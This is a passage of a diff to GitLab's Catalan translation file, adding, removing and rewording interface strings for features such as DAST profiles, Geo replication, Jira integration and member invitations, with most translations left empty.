msgstr "Crea un fitxer o directori nou"
-msgid "Create new issue in Jira"
-msgstr ""
-
msgid "Create new label"
msgstr "Crea una etiqueta nova"
@@ -8718,6 +8987,9 @@ msgstr ""
msgid "Create snippet"
msgstr ""
+msgid "Create tag %{tagName}"
+msgstr ""
+
msgid "Create wildcard: %{searchTerm}"
msgstr ""
@@ -8871,6 +9143,9 @@ msgstr ""
msgid "Created"
msgstr "Creat"
+msgid "Created %{epicTimeagoDate}"
+msgstr ""
+
msgid "Created %{timestamp}"
msgstr ""
@@ -8934,6 +9209,9 @@ msgstr ""
msgid "Creating graphs uses the data from the Prometheus server. If this takes a long time, ensure that data is available."
msgstr ""
+msgid "Creating pack file bitmaps makes housekeeping take a little longer but bitmaps should accelerate 'git clone' performance."
+msgstr ""
+
msgid "Creation date"
msgstr ""
@@ -9236,8 +9514,10 @@ msgstr ""
msgid "CycleAnalytics|Show"
msgstr ""
-msgid "CycleAnalytics|Showing %{subjectFilterText} and %{selectedLabelsCount} labels"
-msgstr ""
+msgid "CycleAnalytics|Showing %{subjectFilterText} and %{selectedLabelsCount} label"
+msgid_plural "CycleAnalytics|Showing %{subjectFilterText} and %{selectedLabelsCount} labels"
+msgstr[0] ""
+msgstr[1] ""
msgid "CycleAnalytics|Showing data for group '%{groupName}' and %{selectedProjectCount} projects from %{startDate} to %{endDate}"
msgstr ""
@@ -9332,6 +9612,9 @@ msgstr ""
msgid "DastProfiles|Authentication URL"
msgstr ""
+msgid "DastProfiles|Branch missing"
+msgstr ""
+
msgid "DastProfiles|Could not create the scanner profile. Please try again."
msgstr ""
@@ -9401,6 +9684,12 @@ msgstr ""
msgid "DastProfiles|Enable Authentication"
msgstr ""
+msgid "DastProfiles|Enter URLs in a comma-separated list."
+msgstr ""
+
+msgid "DastProfiles|Enter headers in a comma-separated list."
+msgstr ""
+
msgid "DastProfiles|Error Details"
msgstr ""
@@ -9461,6 +9750,9 @@ msgstr ""
msgid "DastProfiles|Profile name"
msgstr ""
+msgid "DastProfiles|Request header names and values. Headers are added to every request made by DAST."
+msgstr ""
+
msgid "DastProfiles|Request headers"
msgstr ""
@@ -9494,6 +9786,9 @@ msgstr ""
msgid "DastProfiles|Scanner name"
msgstr ""
+msgid "DastProfiles|Select branch"
+msgstr ""
+
msgid "DastProfiles|Show debug messages"
msgstr ""
@@ -9524,12 +9819,24 @@ msgstr ""
msgid "DastProfiles|The maximum number of seconds allowed for the site under test to respond to a request."
msgstr ""
+msgid "DastProfiles|This profile is currently being used in a policy."
+msgstr ""
+
+msgid "DastProfiles|This scanner profile is currently being used by a policy. To make edits you must remove it from the active policy."
+msgstr ""
+
+msgid "DastProfiles|This site profile is currently being used by a policy. To make edits you must remove it from the active policy."
+msgstr ""
+
msgid "DastProfiles|Turn on AJAX spider"
msgstr ""
msgid "DastProfiles|URL"
msgstr ""
+msgid "DastProfiles|URLs to skip during the authenticated scan. Use regular expression syntax to match multiple URLs."
+msgstr ""
+
msgid "DastProfiles|Username"
msgstr ""
@@ -9607,6 +9914,9 @@ msgstr ""
msgid "DastSiteValidation|Validation failed"
msgstr ""
+msgid "DastSiteValidation|Validation failed for %{url}. %{retryButtonStart}Retry validation%{retryButtonEnd}."
+msgstr ""
+
msgid "DastSiteValidation|Validation succeeded. Both active and passive scans can be run against the target site."
msgstr ""
@@ -9637,6 +9947,9 @@ msgstr ""
msgid "Date range is greater than %{quarter_days} days"
msgstr ""
+msgid "Date range must be shorter than %{max_range} days."
+msgstr ""
+
msgid "Day of month"
msgstr ""
@@ -10054,13 +10367,19 @@ msgstr ""
msgid "DeployFreeze|Add a freeze period to prevent unintended releases during a period of time for a given environment. You must update the deployment jobs in %{filename} according to the deploy freezes added here. %{freeze_period_link_start}Learn more.%{freeze_period_link_end}"
msgstr ""
+msgid "DeployFreeze|Add deploy freeze"
+msgstr ""
+
+msgid "DeployFreeze|Edit"
+msgstr ""
+
msgid "DeployFreeze|Freeze end"
msgstr ""
msgid "DeployFreeze|Freeze start"
msgstr ""
-msgid "DeployFreeze|No deploy freezes exist for this project. To add one, click %{strongStart}Add deploy freeze%{strongEnd}"
+msgid "DeployFreeze|No deploy freezes exist for this project. To add one, select %{strongStart}Add deploy freeze%{strongEnd}"
msgstr ""
msgid "DeployFreeze|Specify deploy freezes using %{cron_syntax_link_start}cron syntax%{cron_syntax_link_end}."
@@ -10171,9 +10490,6 @@ msgstr ""
msgid "DeployTokens|Revoke"
msgstr ""
-msgid "DeployTokens|Revoke %{b_start}%{name}%{b_end}?"
-msgstr ""
-
msgid "DeployTokens|Revoke %{name}"
msgstr ""
@@ -10201,9 +10517,6 @@ msgstr ""
msgid "DeployTokens|Username"
msgstr ""
-msgid "DeployTokens|You are about to revoke %{b_start}%{name}%{b_end}."
-msgstr ""
-
msgid "DeployTokens|Your new Deploy Token username"
msgstr ""
@@ -10317,9 +10630,6 @@ msgstr "Descripció:"
msgid "Descriptive label"
msgstr ""
-msgid "Deselect all"
-msgstr ""
-
msgid "Design Management files and data"
msgstr ""
@@ -10479,13 +10789,13 @@ msgstr ""
msgid "Detect host keys"
msgstr ""
-msgid "DevOps Report"
+msgid "DevOps Adoption"
msgstr ""
-msgid "DevopsAdoption|%{selectedCount} group selected"
+msgid "DevOps Report"
msgstr ""
-msgid "DevopsAdoption|%{selectedCount} groups selected"
+msgid "DevopsAdoption|Add / remove groups"
msgstr ""
msgid "DevopsAdoption|Add Group"
@@ -10500,7 +10810,7 @@ msgstr ""
msgid "DevopsAdoption|An error occurred while removing the group. Please try again."
msgstr ""
-msgid "DevopsAdoption|An error occurred while saving the group. Please try again."
+msgid "DevopsAdoption|An error occurred while saving changes. Please try again."
msgstr ""
msgid "DevopsAdoption|Approvals"
@@ -10754,6 +11064,9 @@ msgstr ""
msgid "Dismiss Value Stream Analytics introduction box"
msgstr ""
+msgid "Dismiss merge request promotion"
+msgstr ""
+
msgid "Dismiss selected"
msgstr ""
@@ -10997,6 +11310,9 @@ msgstr "Edita l'aplicació"
msgid "Edit comment"
msgstr ""
+msgid "Edit deploy freeze"
+msgstr ""
+
msgid "Edit description"
msgstr ""
@@ -11009,6 +11325,9 @@ msgstr ""
msgid "Edit fork in Web IDE"
msgstr ""
+msgid "Edit group application"
+msgstr ""
+
msgid "Edit group: %{group_name}"
msgstr "Edita el grup: %{group_name}"
@@ -11228,6 +11547,9 @@ msgstr ""
msgid "Enable Auto DevOps"
msgstr ""
+msgid "Enable Git pack file bitmap creation"
+msgstr ""
+
msgid "Enable Gitpod"
msgstr ""
@@ -11252,6 +11574,9 @@ msgstr ""
msgid "Enable Pseudonymizer data collection"
msgstr ""
+msgid "Enable Repository Checks"
+msgstr ""
+
msgid "Enable SSL verification"
msgstr ""
@@ -11264,6 +11589,9 @@ msgstr ""
msgid "Enable access to Grafana"
msgstr ""
+msgid "Enable access to the Performance Bar"
+msgstr ""
+
msgid "Enable access to the Performance Bar for a given group."
msgstr ""
@@ -11276,6 +11604,9 @@ msgstr ""
msgid "Enable and disable Service Desk. Some additional configuration might be required. %{link_start}Learn more%{link_end}."
msgstr ""
+msgid "Enable automatic repository housekeeping (git repack, git gc)"
+msgstr ""
+
msgid "Enable classification control using an external service"
msgstr ""
@@ -11387,6 +11718,9 @@ msgstr "Activat"
msgid "Enabled Git access protocols"
msgstr ""
+msgid "Enabled OAuth sign-in sources"
+msgstr ""
+
msgid "Enabled sources for code import during project creation. OmniAuth must be configured for GitHub"
msgstr ""
@@ -11456,9 +11790,6 @@ msgstr ""
msgid "Enter merge request URLs"
msgstr ""
-msgid "Enter new %{field_title}"
-msgstr ""
-
msgid "Enter new AWS Secret Access Key"
msgstr ""
@@ -12086,19 +12417,19 @@ msgstr ""
msgid "ErrorTracking|Active"
msgstr ""
-msgid "ErrorTracking|After adding your Auth Token, use the 'Connect' button to load projects"
+msgid "ErrorTracking|After adding your Auth Token, select the Connect button to load projects."
msgstr ""
msgid "ErrorTracking|Auth Token"
msgstr ""
-msgid "ErrorTracking|Click 'Connect' to re-establish the connection to Sentry and activate the dropdown."
+msgid "ErrorTracking|Click Connect to reestablish the connection to Sentry and activate the dropdown."
msgstr ""
-msgid "ErrorTracking|Connection has failed. Re-check Auth Token and try again."
+msgid "ErrorTracking|Connection failed. Check Auth Token and try again."
msgstr ""
-msgid "ErrorTracking|If you self-host Sentry, enter the full URL of your Sentry instance. If you're using Sentry's hosted solution, enter https://sentry.io"
+msgid "ErrorTracking|If you self-host Sentry, enter your Sentry instance's full URL. If you use Sentry's hosted solution, enter https://sentry.io"
msgstr ""
msgid "ErrorTracking|No projects available"
@@ -12107,7 +12438,7 @@ msgstr ""
msgid "ErrorTracking|Select project"
msgstr ""
-msgid "ErrorTracking|To enable project selection, enter a valid Auth Token"
+msgid "ErrorTracking|To enable project selection, enter a valid Auth Token."
msgstr ""
msgid "Errors"
@@ -12218,9 +12549,6 @@ msgstr ""
msgid "Evidence collection"
msgstr ""
-msgid "Ex: Example.com"
-msgstr ""
-
msgid "Exactly one of %{attributes} is required"
msgstr ""
@@ -12287,6 +12615,9 @@ msgstr ""
msgid "Expand milestones"
msgstr ""
+msgid "Expand panel"
+msgstr ""
+
msgid "Expand sidebar"
msgstr ""
@@ -12356,6 +12687,9 @@ msgstr ""
msgid "Export"
msgstr ""
+msgid "Export %{name}"
+msgstr ""
+
msgid "Export %{requirementsCount} requirements?"
msgstr ""
@@ -12368,12 +12702,6 @@ msgstr ""
msgid "Export group"
msgstr ""
-msgid "Export issues"
-msgstr ""
-
-msgid "Export merge requests"
-msgstr ""
-
msgid "Export project"
msgstr ""
@@ -12401,9 +12729,6 @@ msgstr ""
msgid "External URL"
msgstr ""
-msgid "External Wiki"
-msgstr ""
-
msgid "External authentication"
msgstr ""
@@ -12425,13 +12750,16 @@ msgstr ""
msgid "ExternalAuthorizationService|When no classification label is set the default label `%{default_label}` will be used."
msgstr ""
-msgid "ExternalWikiService|External Wiki"
+msgid "ExternalWikiService|External wiki"
+msgstr ""
+
+msgid "ExternalWikiService|External wiki URL"
msgstr ""
msgid "ExternalWikiService|Replaces the link to the internal wiki with a link to an external wiki."
msgstr ""
-msgid "ExternalWikiService|The URL of the external Wiki"
+msgid "ExternalWikiService|The URL of the external wiki"
msgstr ""
msgid "Facebook"
@@ -12530,6 +12858,9 @@ msgstr ""
msgid "Failed to install."
msgstr ""
+msgid "Failed to load assignees."
+msgstr ""
+
msgid "Failed to load assignees. Please try again."
msgstr ""
@@ -12557,9 +12888,15 @@ msgstr ""
msgid "Failed to load groups, users and deploy keys."
msgstr ""
+msgid "Failed to load iterations."
+msgstr ""
+
msgid "Failed to load labels. Please try again."
msgstr ""
+msgid "Failed to load milestones."
+msgstr ""
+
msgid "Failed to load milestones. Please try again."
msgstr ""
@@ -12608,9 +12945,6 @@ msgstr ""
msgid "Failed to remove a to-do item for the design."
msgstr ""
-msgid "Failed to remove issue from board, please try again."
-msgstr ""
-
msgid "Failed to remove mirror."
msgstr ""
@@ -12665,9 +12999,6 @@ msgstr ""
msgid "Failed to update issue status"
msgstr ""
-msgid "Failed to update issues, please try again."
-msgstr ""
-
msgid "Failed to update the Canary Ingress."
msgstr ""
@@ -13051,10 +13382,10 @@ msgstr ""
msgid "Filter by %{issuable_type} that are currently closed."
msgstr ""
-msgid "Filter by %{issuable_type} that are currently opened."
+msgid "Filter by %{issuable_type} that are currently open."
msgstr ""
-msgid "Filter by %{page_context_word} that are currently opened."
+msgid "Filter by %{page_context_word} that are currently open."
msgstr ""
msgid "Filter by Git revision"
@@ -13087,7 +13418,7 @@ msgstr ""
msgid "Filter by test cases that are currently archived."
msgstr ""
-msgid "Filter by test cases that are currently opened."
+msgid "Filter by test cases that are currently open."
msgstr ""
msgid "Filter by two-factor authentication"
@@ -13189,6 +13520,9 @@ msgstr ""
msgid "FlowdockService|Flowdock is a collaboration web app for technical teams."
msgstr ""
+msgid "Focus filter bar"
+msgstr ""
+
msgid "FogBugz Email"
msgstr ""
@@ -13237,12 +13571,15 @@ msgstr ""
msgid "For each job, re-use the project workspace. If the workspace doesn't exist, use %{code_open}git clone%{code_close}."
msgstr ""
-msgid "For help setting up the Service Desk for your instance, please contact an administrator."
+msgid "For general work"
msgstr ""
msgid "For individual use, create a separate account under your personal email address, not tied to the Enterprise email domain or group."
msgstr ""
+msgid "For investigating IT service disruptions or outages"
+msgstr ""
+
msgid "For more info, read the documentation."
msgstr ""
@@ -13252,9 +13589,6 @@ msgstr ""
msgid "For more information, go to the "
msgstr ""
-msgid "For more information, please review %{link_start_tag}Jaeger's configuration doc%{link_end_tag}"
-msgstr ""
-
msgid "For more information, see the File Hooks documentation."
msgstr ""
@@ -13279,6 +13613,9 @@ msgstr ""
msgid "Fork project?"
msgstr ""
+msgid "ForkProject|A fork is a copy of a project."
+msgstr ""
+
msgid "ForkProject|Cancel"
msgstr ""
@@ -13288,6 +13625,9 @@ msgstr ""
msgid "ForkProject|Fork project"
msgstr ""
+msgid "ForkProject|Forking a repository allows you to make changes without affecting the original project."
+msgstr ""
+
msgid "ForkProject|Internal"
msgstr ""
@@ -13303,6 +13643,9 @@ msgstr ""
msgid "ForkProject|Select a namespace"
msgstr ""
+msgid "ForkProject|Select a namespace to fork the project"
+msgstr ""
+
msgid "ForkProject|The project can be accessed by any logged in user."
msgstr ""
@@ -13321,9 +13664,6 @@ msgstr ""
msgid "ForkedFromProjectPath|Forked from an inaccessible project"
msgstr ""
-msgid "Forking a repository allows you to make changes without affecting the original project."
-msgstr ""
-
msgid "Forking in progress"
msgstr ""
@@ -13585,6 +13925,9 @@ msgstr ""
msgid "Geo|%{name} is scheduled for re-verify"
msgstr ""
+msgid "Geo|%{title} checksum progress"
+msgstr ""
+
msgid "Geo|Add site"
msgstr ""
@@ -13627,9 +13970,15 @@ msgstr ""
msgid "Geo|Could not remove tracking entry for an existing upload."
msgstr ""
+msgid "Geo|Data replication lag"
+msgstr ""
+
msgid "Geo|Discover GitLab Geo"
msgstr ""
+msgid "Geo|Does not match the primary storage configuration"
+msgstr ""
+
msgid "Geo|Failed"
msgstr "Fallit"
@@ -13654,6 +14003,15 @@ msgstr ""
msgid "Geo|In sync"
msgstr ""
+msgid "Geo|Internal URL"
+msgstr ""
+
+msgid "Geo|Last event ID from primary"
+msgstr ""
+
+msgid "Geo|Last event ID processed by cursor"
+msgstr ""
+
msgid "Geo|Last repository check run"
msgstr ""
@@ -13687,6 +14045,12 @@ msgstr ""
msgid "Geo|Not synced yet"
msgstr ""
+msgid "Geo|Nothing to synchronize"
+msgstr ""
+
+msgid "Geo|Number of %{title}"
+msgstr ""
+
msgid "Geo|Pending synchronization"
msgstr ""
@@ -13714,6 +14078,9 @@ msgstr ""
msgid "Geo|Projects in certain storage shards"
msgstr ""
+msgid "Geo|Queued"
+msgstr ""
+
msgid "Geo|Redownload"
msgstr ""
@@ -13726,6 +14093,30 @@ msgstr ""
msgid "Geo|Remove tracking database entry"
msgstr ""
+msgid "Geo|Replicated data is verified with the secondary node(s) using checksums."
+msgstr ""
+
+msgid "Geo|Replication Details"
+msgstr ""
+
+msgid "Geo|Replication counts"
+msgstr ""
+
+msgid "Geo|Replication details"
+msgstr ""
+
+msgid "Geo|Replication slot WAL"
+msgstr ""
+
+msgid "Geo|Replication slots"
+msgstr ""
+
+msgid "Geo|Replication status"
+msgstr ""
+
+msgid "Geo|Replication summary"
+msgstr ""
+
msgid "Geo|Resync"
msgstr ""
@@ -13753,6 +14144,9 @@ msgstr ""
msgid "Geo|Status"
msgstr "Estat"
+msgid "Geo|Storage config"
+msgstr ""
+
msgid "Geo|Synced"
msgstr "Sincronitzat"
@@ -13765,6 +14159,9 @@ msgstr ""
msgid "Geo|Synchronization of %{itemTitle} is disabled."
msgstr ""
+msgid "Geo|Synchronization settings"
+msgstr ""
+
msgid "Geo|The database is currently %{db_lag} behind the primary node."
msgstr ""
@@ -13798,6 +14195,9 @@ msgstr "Estat desconegut"
msgid "Geo|Verification failed - %{error}"
msgstr ""
+msgid "Geo|Verificaton information"
+msgstr ""
+
msgid "Geo|Waiting for scheduler"
msgstr ""
@@ -13843,6 +14243,9 @@ msgstr ""
msgid "Git"
msgstr ""
+msgid "Git GC period"
+msgstr ""
+
msgid "Git LFS is not enabled on this GitLab server, contact your admin."
msgstr ""
@@ -13972,6 +14375,12 @@ msgstr ""
msgid "GitLab uses %{jaeger_link} to monitor distributed systems."
msgstr ""
+msgid "GitLab version"
+msgstr ""
+
+msgid "GitLab will periodically run %{link_to_git_fsck} in all project and wiki repositories to look for silent disk corruption issues."
+msgstr ""
+
msgid "GitLab will run a background job that will produce pseudonymized CSVs of the GitLab database that will be uploaded to your configured object storage directory."
msgstr ""
@@ -14095,6 +14504,24 @@ msgstr ""
msgid "Gitea Import"
msgstr ""
+msgid "GithubIntegration|Create a %{token_link_start}personal access token%{token_link_end} with %{status_html} access granted and paste it here."
+msgstr ""
+
+msgid "GithubIntegration|Obtain statuses for commits and pull requests."
+msgstr ""
+
+msgid "GithubIntegration|Repository URL"
+msgstr ""
+
+msgid "GithubIntegration|Select this if you want GitHub to mark status checks as \"Required\". %{learn_more_link_start}Learn more%{learn_more_link_end}."
+msgstr ""
+
+msgid "GithubIntegration|Static status check names (optional)"
+msgstr ""
+
+msgid "GithubIntegration|This requires mirroring your GitHub repository to this project. %{docs_link}"
+msgstr ""
+
msgid "Gitlab Pages"
msgstr ""
@@ -14137,9 +14564,6 @@ msgstr "Enrere"
msgid "Go back (while searching for files)"
msgstr ""
-msgid "Go back to %{tagStart}Open issues%{tagEnd} and select some issues to add to your board."
-msgstr ""
-
msgid "Go full screen"
msgstr ""
@@ -14269,16 +14693,13 @@ msgstr ""
msgid "Grafana response contains invalid json"
msgstr ""
-msgid "GrafanaIntegration|API Token"
+msgid "GrafanaIntegration|API token"
msgstr ""
msgid "GrafanaIntegration|Active"
msgstr ""
-msgid "GrafanaIntegration|Embed Grafana charts in GitLab issues."
-msgstr ""
-
-msgid "GrafanaIntegration|Enter the Grafana API Token."
+msgid "GrafanaIntegration|Enter the Grafana API token."
msgstr ""
msgid "GrafanaIntegration|Enter the base URL of the Grafana instance."
@@ -14290,6 +14711,9 @@ msgstr ""
msgid "GrafanaIntegration|Grafana authentication"
msgstr ""
+msgid "GrafanaIntegration|Set up Grafana authentication to embed Grafana panels in GitLab Flavored Markdown."
+msgstr ""
+
msgid "Grant access"
msgstr ""
@@ -14347,6 +14771,12 @@ msgstr ""
msgid "Group Wikis"
msgstr ""
+msgid "Group application: %{name}"
+msgstr ""
+
+msgid "Group applications"
+msgstr ""
+
msgid "Group avatar"
msgstr ""
@@ -14428,9 +14858,6 @@ msgstr ""
msgid "Group project URLs are prefixed with the group namespace"
msgstr ""
-msgid "Group push rule exists, try updating"
-msgstr ""
-
msgid "Group requires separate account"
msgstr ""
@@ -14533,9 +14960,15 @@ msgstr ""
msgid "GroupSAML|Are you sure you want to remove the SAML group link?"
msgstr ""
+msgid "GroupSAML|Before enforcing SSO, enable SAML authentication."
+msgstr ""
+
msgid "GroupSAML|Certificate fingerprint"
msgstr ""
+msgid "GroupSAML|Check SSO on git activity"
+msgstr ""
+
msgid "GroupSAML|Configuration"
msgstr ""
@@ -14551,7 +14984,10 @@ msgstr ""
msgid "GroupSAML|Enable SAML authentication for this group."
msgstr ""
-msgid "GroupSAML|Enforce SSO-only authentication for this group."
+msgid "GroupSAML|Enforce SSO-access for Git in this group."
+msgstr ""
+
+msgid "GroupSAML|Enforce SSO-only authentication for web activity for this group."
msgstr ""
msgid "GroupSAML|Enforce users to have dedicated group managed accounts for this group."
@@ -14647,9 +15083,6 @@ msgstr ""
msgid "GroupSAML|This will be set as the access level of users added to the group."
msgstr ""
-msgid "GroupSAML|To be able to enable enforced SSO, you first need to enable SAML authentication."
-msgstr ""
-
msgid "GroupSAML|To be able to enable group managed accounts, you first need to enable enforced SSO."
msgstr ""
@@ -14845,9 +15278,6 @@ msgstr ""
msgid "Groups to synchronize"
msgstr ""
-msgid "Groups with access to %{strong_open}%{project_name}%{strong_close}"
-msgstr ""
-
msgid "GroupsDropdown|Frequently visited"
msgstr ""
@@ -14983,9 +15413,6 @@ msgstr ""
msgid "Hashed storage can't be disabled anymore for new projects"
msgstr ""
-msgid "Have your users email"
-msgstr ""
-
msgid "Header logo was successfully removed."
msgstr ""
@@ -15164,6 +15591,9 @@ msgstr ""
msgid "How do I configure runners?"
msgstr ""
+msgid "How do I configure this integration?"
+msgstr ""
+
msgid "How do I generate it?"
msgstr ""
@@ -15332,6 +15762,12 @@ msgstr ""
msgid "If you did not recently sign in, you should immediately change your password: %{password_link}."
msgstr ""
+msgid "If you got a lot of false alarms from repository checks you can choose to clear all repository check information from the database."
+msgstr ""
+
+msgid "If you keep automatic housekeeping disabled for a long time Git repository access on your GitLab server will become slower and your repositories will use more disk space. We recommend to always leave this enabled."
+msgstr ""
+
msgid "If you lose your recovery codes you can generate new ones, invalidating all previous codes."
msgstr ""
@@ -15492,9 +15928,6 @@ msgstr ""
msgid "Import/Export Rate Limits"
msgstr ""
-msgid "Import/Export illustration"
-msgstr ""
-
msgid "ImportButtons|Connect repositories from"
msgstr ""
@@ -15542,12 +15975,15 @@ msgid_plural "Importing %d repositories"
msgstr[0] ""
msgstr[1] ""
-msgid "Improve Merge Requests and customer support with GitLab Enterprise Edition."
+msgid "Importing..."
msgstr ""
msgid "Improve customer support with Service Desk"
msgstr ""
+msgid "Improve merge requests and customer support with GitLab Enterprise Edition."
+msgstr ""
+
msgid "Improve search with Advanced Search and GitLab Enterprise Edition."
msgstr ""
@@ -15557,9 +15993,6 @@ msgstr ""
msgid "In case of pull mirroring, your user will be the author of all events in the activity feed that are the result of an update, like new branches being created or new commits being pushed to existing branches."
msgstr ""
-msgid "In order to enable Service Desk for your instance, you must first set up incoming email."
-msgstr ""
-
msgid "In progress"
msgstr ""
@@ -16145,6 +16578,9 @@ msgstr ""
msgid "Information about additional Pages templates and how to install them can be found in our %{pages_getting_started_guide}."
msgstr ""
+msgid "Infrastructure Registry"
+msgstr ""
+
msgid "Inherited"
msgstr ""
@@ -16315,6 +16751,9 @@ msgstr ""
msgid "Integrations|Linked namespaces"
msgstr ""
+msgid "Integrations|Namespace successfully linked"
+msgstr ""
+
msgid "Integrations|Namespaces are your GitLab groups and subgroups that will be linked to this Jira instance."
msgstr ""
@@ -16360,9 +16799,6 @@ msgstr ""
msgid "Integrations|This integration, and inheriting projects were reset."
msgstr ""
-msgid "Integrations|This requires mirroring your GitHub repository to this project. %{docs_link}"
-msgstr ""
-
msgid "Integrations|To keep this project going, create a new issue."
msgstr ""
@@ -16387,6 +16823,9 @@ msgstr ""
msgid "Integrations|You must have owner or maintainer permissions to link namespaces."
msgstr ""
+msgid "Integrations|You should now see GitLab.com activity inside your Jira Cloud issues. %{linkStart}Learn more%{linkEnd}"
+msgstr ""
+
msgid "Interactive mode"
msgstr ""
@@ -16423,9 +16862,6 @@ msgstr ""
msgid "Invalid Insights config file detected"
msgstr ""
-msgid "Invalid Login or password"
-msgstr ""
-
msgid "Invalid OS"
msgstr ""
@@ -16621,7 +17057,7 @@ msgstr ""
msgid "InviteMembersModal|Close invite team members"
msgstr ""
-msgid "InviteMembersModal|GitLab member or Email address"
+msgid "InviteMembersModal|GitLab member or email address"
msgstr ""
msgid "InviteMembersModal|Invite"
@@ -16630,7 +17066,7 @@ msgstr ""
msgid "InviteMembersModal|Invite a group"
msgstr ""
-msgid "InviteMembersModal|Invite team members"
+msgid "InviteMembersModal|Invite members"
msgstr ""
msgid "InviteMembersModal|Members were successfully added"
@@ -16639,25 +17075,25 @@ msgstr ""
msgid "InviteMembersModal|Search for a group to invite"
msgstr ""
-msgid "InviteMembersModal|Search for members to invite"
+msgid "InviteMembersModal|Select a group to invite"
msgstr ""
-msgid "InviteMembersModal|Select a group to invite"
+msgid "InviteMembersModal|Select members or type email addresses"
msgstr ""
msgid "InviteMembersModal|Some of the members could not be added"
msgstr ""
-msgid "InviteMembersModal|You're inviting a group to the %{name} group"
+msgid "InviteMembersModal|You're inviting a group to the %{strongStart}%{name}%{strongEnd} group."
msgstr ""
-msgid "InviteMembersModal|You're inviting a group to the %{name} project"
+msgid "InviteMembersModal|You're inviting a group to the %{strongStart}%{name}%{strongEnd} project."
msgstr ""
-msgid "InviteMembersModal|You're inviting members to the %{name} group"
+msgid "InviteMembersModal|You're inviting members to the %{strongStart}%{name}%{strongEnd} group."
msgstr ""
-msgid "InviteMembersModal|You're inviting members to the %{name} project"
+msgid "InviteMembersModal|You're inviting members to the %{strongStart}%{name}%{strongEnd} project."
msgstr ""
msgid "InviteMembers|Invite a group"
@@ -16672,6 +17108,9 @@ msgstr ""
msgid "InviteMember|Don't worry, you can always invite teammates later"
msgstr ""
+msgid "InviteMember|Invite Member"
+msgstr ""
+
msgid "InviteMember|Invite Members (optional)"
msgstr ""
@@ -16834,6 +17273,9 @@ msgstr ""
msgid "Issue title"
msgstr ""
+msgid "Issue types"
+msgstr ""
+
msgid "Issue update failed"
msgstr ""
@@ -16843,6 +17285,9 @@ msgstr ""
msgid "Issue weight"
msgstr ""
+msgid "Issue(s) already assigned"
+msgstr ""
+
msgid "IssueAnalytics|Age"
msgstr ""
@@ -16930,6 +17375,9 @@ msgstr ""
msgid "Issues closed"
msgstr ""
+msgid "Issues must match this scope to appear in this list."
+msgstr ""
+
msgid "Issues with comments, merge requests with diffs and comments, labels, milestones, snippets, and other project entities"
msgstr ""
@@ -16993,6 +17441,9 @@ msgstr ""
msgid "It's you"
msgstr ""
+msgid "Italic text"
+msgstr ""
+
msgid "Iteration"
msgstr ""
@@ -17080,6 +17531,9 @@ msgstr ""
msgid "JiraService|An error occurred while fetching issue list"
msgstr ""
+msgid "JiraService|Automatically transitions Jira issues to the \"Done\" category. %{linkStart}Learn more%{linkEnd}"
+msgstr ""
+
msgid "JiraService|Define the type of Jira issue to create from a vulnerability."
msgstr ""
@@ -17092,9 +17546,18 @@ msgstr ""
msgid "JiraService|Enable Jira issues creation from vulnerabilities"
msgstr ""
+msgid "JiraService|Enable Jira transitions"
+msgstr ""
+
+msgid "JiraService|Enter new password or API token"
+msgstr ""
+
msgid "JiraService|Events for %{noteable_model_name} are disabled."
msgstr ""
+msgid "JiraService|Failed to load Jira issue. View the issue in Jira, or reload the page."
+msgstr ""
+
msgid "JiraService|Fetch issue types for this Jira project"
msgstr ""
@@ -17134,7 +17597,10 @@ msgstr ""
msgid "JiraService|Jira project key"
msgstr ""
-msgid "JiraService|Jira workflow transition IDs"
+msgid "JiraService|Leave blank to use your current password or API token"
+msgstr ""
+
+msgid "JiraService|Move to Done"
msgstr ""
msgid "JiraService|Not all data may be displayed here. To view more details or make changes to this issue, go to %{linkStart}Jira%{linkEnd}."
@@ -17155,7 +17621,7 @@ msgstr ""
msgid "JiraService|Select issue type"
msgstr ""
-msgid "JiraService|Set transition IDs for Jira workflow transitions. %{link_start}Learn more%{link_end}"
+msgid "JiraService|Set a custom final state by using transition IDs. %{linkStart}Learn about transition IDs%{linkEnd}"
msgstr ""
msgid "JiraService|Sign in to GitLab.com to get started."
@@ -17167,12 +17633,18 @@ msgstr ""
msgid "JiraService|This issue is synchronized with Jira"
msgstr ""
+msgid "JiraService|Transition Jira issues to their final state:"
+msgstr ""
+
msgid "JiraService|Use a password for server version and an API token for cloud version"
msgstr ""
msgid "JiraService|Use a username for server version and an email for cloud version"
msgstr ""
+msgid "JiraService|Use custom transitions"
+msgstr ""
+
msgid "JiraService|Username or Email"
msgstr ""
@@ -17389,15 +17861,6 @@ msgstr ""
msgid "KeyboardKey|Ctrl+"
msgstr ""
-msgid "KeyboardShortcuts|Global Shortcuts"
-msgstr ""
-
-msgid "KeyboardShortcuts|Toggle GitLab Next"
-msgstr ""
-
-msgid "KeyboardShortcuts|Toggle the Performance Bar"
-msgstr ""
-
msgid "Keys"
msgstr ""
@@ -17488,6 +17951,9 @@ msgstr ""
msgid "Label lists show all issues with the selected label."
msgstr ""
+msgid "Label priority"
+msgstr ""
+
msgid "Label was created"
msgstr ""
@@ -17691,6 +18157,9 @@ msgstr ""
msgid "Learn more"
msgstr ""
+msgid "Learn more about %{link_start_tag}Jaeger configuration%{link_end_tag}."
+msgstr ""
+
msgid "Learn more about %{username}"
msgstr ""
@@ -18089,6 +18558,9 @@ msgstr ""
msgid "Link copied"
msgstr ""
+msgid "Link text"
+msgstr ""
+
msgid "Link title"
msgstr ""
@@ -18158,6 +18630,9 @@ msgstr ""
msgid "Loading"
msgstr ""
+msgid "Loading %{name}"
+msgstr ""
+
msgid "Loading contribution stats for group members"
msgstr ""
@@ -18332,6 +18807,9 @@ msgstr ""
msgid "Manage applications that can use GitLab as an OAuth provider, and applications that you've authorized to use your account."
msgstr ""
+msgid "Manage applications that can use GitLab as an OAuth provider."
+msgstr ""
+
msgid "Manage applications that you've authorized to use your account."
msgstr ""
@@ -18371,6 +18849,9 @@ msgstr ""
msgid "Manifest import"
msgstr ""
+msgid "Manual"
+msgstr ""
+
msgid "ManualOrdering|Couldn't save the order of the issues"
msgstr ""
@@ -18395,9 +18876,6 @@ msgstr ""
msgid "Mark as ready"
msgstr ""
-msgid "Mark as resolved"
-msgstr ""
-
msgid "Mark this issue as a duplicate of another issue"
msgstr ""
@@ -18473,6 +18951,9 @@ msgstr ""
msgid "MattermostService|Add to Mattermost"
msgstr ""
+msgid "MattermostService|After you configure the integration, view your new Mattermost commands by entering"
+msgstr ""
+
msgid "MattermostService|Command trigger word"
msgstr ""
@@ -18491,13 +18972,10 @@ msgstr ""
msgid "MattermostService|Response username"
msgstr ""
-msgid "MattermostService|See list of available commands in Mattermost after setting up this service, by entering"
-msgstr ""
-
msgid "MattermostService|Suggestions:"
msgstr ""
